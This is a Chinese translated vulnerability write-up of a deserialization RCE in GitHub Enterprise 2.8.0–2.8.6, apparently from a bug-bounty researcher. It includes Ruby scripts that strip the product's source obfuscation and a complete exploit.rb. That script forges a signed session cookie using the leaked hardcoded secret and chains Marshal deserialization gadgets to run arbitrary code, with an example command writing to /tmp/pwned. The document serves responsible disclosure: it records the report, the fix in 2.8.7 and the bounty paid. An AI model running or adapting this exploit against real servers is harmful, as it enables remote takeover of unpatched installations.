C5SmsVnUoAA71QA.png

GitHub作为当下流行的开源代码库和版本控制系统,如果你热衷于严谨的开发流程和储存大量的开源文档,可以考虑使用个人版的Github。当然,对于一些开发公司或组织机构来说,可以支付2500美金购买一年10个用户的Github企业版软件。Github企业版其实就是一个全功能的虚拟机,除了一些 GitHub.enterprise方式的调用之外,总体代码没有多大变化(点此注册下载45天试用版)。前有通过Github企业版SQL注入漏洞获得5000美元漏洞赏金的先例,今天我再来深挖深挖深挖……,看看能否发现其它漏洞。

第1关:突破代码混淆保护

下载好OVF格式的Github企业版程序之后,可以部署在任意的虚拟机环境中作为服务器使用。 我在此就略过安装步骤介绍,直奔代码审计。在启动的随机恢复镜像中,发现 GitHub源码就存放在/data目录下:


01.png

但是,这些代码貌似都经Base64混淆处理过,大部份看起来是这样的:

02.png

研究之后,发现代码混淆由一个名为ruby_concealer.so的模块来完成,其对字符串调用执行数据解压类Zlib::Inflate::inflate,并使用一段明文KEY进行异或(XOR)操作,然而, 可笑的是,我去…..,这段KEY竟然是这样的:

This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this ‘encryption’ is easily broken. (我们清楚该加密很容易被破解,但其目的在于防止GitHub企业版用户随意对VM环境进行修改)

在前述的Github企业版SQL注入漏洞例子中对该段KEY值有过逆向分析,如下:

03.jpg

有了这些,我们就可以自己构造代码“解密”脚本了,在这里直接给出以下两种方式的代码还原脚本:


#!/usr/bin/ruby

# This tool is only used to "decrypt" the github enterprise source code.

# Run in the /data directory of the instance.

require "zlib"

require "byebug"

KEY = "This obfuscation is intended to discourage GitHub Enterprise customers "+

"from making modifications to the VM. We know this 'encryption' is easily broken. "

class String

  def unescape

    buffer = []

    mode = 0

    tmp = ""

    # https://github.com/ruby/ruby/blob/trunk/doc/syntax/literals.rdoc#strings

    sequences = {

      "a"  => 7,

      "b"  => 8,

      "t"  => 9,

      "n"  => 10,

      "v"  => 11,

      "f"  => 12,

      "r"  => 13,

      "e"  => 27,

      "s"  => 32,

      "\"" => 34,

      "#"  => 35,

      "\\" => 92,

      "{"  => 123,

      "}"  => 125,

    }

    self.chars.each do |c|

      if mode == 0

        if c == "\\"

          mode = 1

          tmp = ""

        else

          buffer << c.ord

        end

      else

        tmp << c

        if tmp[0] == "x"

          if tmp.length == 3

            buffer << tmp[1..2].hex

            mode = 0

            tmp = ""

            next

          else

            next

          end

        end

        if tmp.length == 1 && sequences[tmp]

          buffer << sequences[tmp]

          mode = 0

          tmp = ""

          next

        end

        raise "Unknown sequences: \"\\#{tmp}\""

      end

    end

    buffer.pack("C*")

  end

  def decrypt

    i, plaintext = 0, ''

    Zlib::Inflate.inflate(self).each_byte do |c|

      plaintext << (c ^ KEY[i%KEY.length].ord).chr

      i += 1

    end

    plaintext

  end

end

Dir.glob("**/*.rb").each do |file|

  header = "require \"ruby_concealer.so\"\n__ruby_concealer__ \""

  len = header.length

  File.open(file, "r+") do |fh|

    if fh.read(len) == header

      puts file

      ciphertext = fh.read[0..-1].unescape

      plaintext  = ciphertext.decrypt

      fh.truncate(0)

      fh.rewind

      fh.write(plaintext)

    end

  end

end


require 'zlib'

key = "This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. "

def decrypt(s)

    i, plaintext = 0, ''

    Zlib::Inflate.inflate(s).each_byte do |c|

        plaintext << (c ^ key[i%key.length].ord).chr

        i += 1

    end

    plaintext

end

content = File.open(ARGV[0], "r").read

content.sub! %Q(require "ruby_concealer.so"\n__ruby_concealer__), " decrypt "

plaintext = eval content

puts plaintext

第2关:寻找管理控制接口

现在,突破了第1关限制之后,程序源码就完全展现在我们面前了。而程序的管理控制台或许是个不错的漏洞切入点,因为可以通过这里获取程序管理控制权,以root身份执行添加SSH密钥、关闭服务等一系列操作。毫不意外,该部份代码就在目录/data/enterprise-manage/current/下,其管理控制界面如下:

04.png

第3关:探寻程序会话管理机制

由于管理控制接口是一个基于Rack应用程序的框架,所以可通过config.ru文件查看具体的中间件服务架构情况。之后,我发现它使用了Rack::Session::Cookie 这个会话中间件,如其名称所示,该中间件实现把程序的session会话数据存储到一个cookie中:

05.png

而在内部工作机制中,其主要执行两种功能:

序列化session会话数据并存储在cookie中

Rack应用程序结合marshal.dump方式,通过以下算法完成该功能:

从应用程序定义的标准会话对象env [“rack.session”]中,获取诸如此类({“user_id”=> 1234,“admin”=> true})的会话哈希值;

执行程序内置的Marshal.dump函数把哈希值转换为字符串;

对转换后的字符串执行Base64编码;

在此基础上,再附加上一个与ENTERPRISE_SESSION_SECRET进行过加盐处理的哈希值形成摘要,进行签名校验,以防篡改;

将结果保存到_gh_manage的cookie中。

从cookie中加载session会话数据并进行反序列化

与序列化数据过程相反的是,以下是加载cookie中的会话数据,执行反序列化的例子。首先假如cookie值如下:

06.png

分析源码可知,它通过 “–”拆分cookie值,执行一个url反向转义,并对结果进行Base64解码,最终得到相关数据和签名校验摘要:

07.png

并以此结合OpenSSL::Digest::SHA和OpenSSL::HMAC.hexdigest,计算得出一个预期的相应hmac值:

08.png

在程序管理控制端进行会话时,如果输入端哈希值对应的hmac,与系统内预期的hmac相匹配,则会话正确,并传递给Marshal.load,否则则丢弃。

第4关:漏洞发现和分析

仔细研究之后发现,以上代码存在两方面的问题:

会话对象值ENV["ENTERPRISE_SESSION_SECRET"]从未被设置或改变,而在会话传导过程中,secret校验值一直都是默认值,这意味着,可以构造任意会话ID,并对任意cookie值进行校验,实现伪造签名摘要的目的;(但在这里,会话ID被限制在32个随机字节之内)

由于可以伪造签名摘要,所以可向Marshal.load内传入任意数据,与JSON不同,Marshal格式不仅允许使用哈希、数组和静态类型,而且还允许使用ruby对象,而这就会导致远程代码执行漏洞的产生。

第5关:构造漏洞利用代码

为了实现任意代码执行,需要生成让Marshal.load运行反序列化过程的输入,而为此,又需要构造访问该对象的代码。这包括两个步骤:

构造恶意的ERb模板

经过一番研究发现,Github代码中的Erubis方式通过读取解析的.erb模板,并生成一个Erubis::Eruby对象,而该对象包含了内置@src实例的模板代码。因此,如果我们把想要执行的代码放入该模板实例区域id>/tmp/pwned,那么,只需要想办法调用object.result方式,代码就会得到执行。

09.png

构造恶意的InstanceVariableProxy

在ActiveSupport相关的代码中,ActiveSupport :: Deprecation :: DeprecatedInstanceVariableProxy是一种告知用户某些设置发生改变的方式,可以通过该方法来废弃实例变量。当然,如果用它来运行实例变量的话,它会为你调用生成新的方法,同时发出警告。然而,这正是我想利用的一点,如下所示,当我访问session [“exploit”]时,它就会调用erubis.result,并运行嵌入到区域id>/tmp/pwned内的代码。

10.png

现在,我们只需把整个漏洞利用过程封装成一个会话cookie,用secret值进行校验,就可以实现远程代码执行漏洞(RCE)攻击了。

第6关:编写漏洞利用代码

以下是我写好的完整漏洞利用exploit代码exploit.rb,仅供参考学习,请勿用于非法用途:


#!/usr/bin/ruby

require "openssl"

require "cgi"

require "net/http"

require "uri"

SECRET = "641dd6454584ddabfed6342cc66281fb"

puts '                     ___.   .__                 '

puts '  ____ ___  ________ \_ |__ |  |  __ __   ____  '

puts '_/ __ \\\\  \/  /\__  \ | __ \|  | |  |  \_/ __ \ '

puts '\  ___/ >    <  / __ \| \_\ \  |_|  |  /\  ___/ '

puts ' \___  >__/\_ \(____  /___  /____/____/  \___  >'

puts '     \/      \/     \/    \/                 \/ '

puts ''

puts "github Enterprise RCE exploit"

puts "Vulnerable: 2.8.0 - 2.8.6"

puts "(C) 2017 iblue <iblue@exablue.de>"

unless ARGV[0] && ARGV[1]

  puts "Usage: ./exploit.rb <hostname> <valid ruby code>"

  puts ""

  puts "Example: ./exploit.rb ghe.example.org \"%x(id > /tmp/pwned)\""

  exit 1

end

hostname = ARGV[0]

code = ARGV[1]

# First we get the cookie from the host to check if the instance is vulnerable.

puts "[+] Checking if #{hostname} is vulnerable..."

http = Net::HTTP.new(hostname, 8443)

http.use_ssl = true

http.verify_mode = OpenSSL::SSL::VERIFY_NONE # We may deal with self-signed certificates

rqst = Net::HTTP::Get.new("/")

while res = http.request(rqst)

  case res

  when Net::HTTPRedirection then

    puts "  => Following redirect to #{res["location"]}..."

    rqst = Net::HTTP::Get.new(res["location"])

  else

    break

  end

end

def not_vulnerable

  puts "  => Host is not vulnerable"

  exit 1

end

unless res['Set-Cookie'] =~ /\A_gh_manage/

  not_vulnerable

end

# Parse the cookie

begin

  value = res['Set-Cookie'].split("=", 2)[1]

  data = CGI.unescape(value.split("--").first)

  hmac = value.split("--").last.split(";", 2).first

  expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, data)

  not_vulnerable if expected_hmac != hmac

rescue

  not_vulnerable

end

puts "  => Host is vulnerable"

# Now construct the cookie

puts "[+] Assembling magic cookie..."

# Stubs, since we don't want to execute the code locally.

module Erubis;class Eruby;end;end

module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end

erubis = Erubis::Eruby.allocate

erubis.instance_variable_set :@src, "#{code}; 1"

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate

proxy.instance_variable_set :@instance, erubis

proxy.instance_variable_set :@method, :result

proxy.instance_variable_set :@var, "@result"

session = {"session_id" => "", "exploit" => proxy}

# Marshal session

dump = [Marshal.dump(session)].pack("m")

hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)

puts "[+] Sending cookie..."

rqst = Net::HTTP::Get.new("/")

rqst['Cookie'] = "_gh_manage=#{CGI.escape("#{dump}--#{hmac}")}"

res = http.request(rqst)

if res.code == "302"

  puts "  => Code executed."

else

  puts "  => Something went wrong."

end

exploit使用示例:

11.png

漏洞报送进程

2017年1月26日   向GitHub报告漏洞问题

2017年1月26日   GitHub将漏洞问题按优先处理分类

2017年1月31日   GitHub询问我是否还有关于该漏洞的其它信息

2017年1月31日   GitHub向我支付了10000美元的漏洞赏金,还送了一件T恤、几张贴纸和一个终身免费的个人使用说明。当然,也荣幸地被列入Github的漏洞名人堂,这感觉真是倍爽!

2017年1月31日   修复了该漏洞的GitHub Enterprise 2.8.7发布

2017年3月14日   在我快完成本文的时候,正值GitHub漏洞赏金项目三周年庆,作为对白帽人员的回馈,GitHub又大气地向我奖励了8000美元,哇,有钱就是霸气!

PS:如果你对该漏洞感兴趣,可以下载Github 45天试用版软件,并参考《Ruby on Rails漏洞研究》和《Github企业版程序SQL注入漏洞》两篇文章。

*参考来源:exablue.de,freebuf小编clouds编译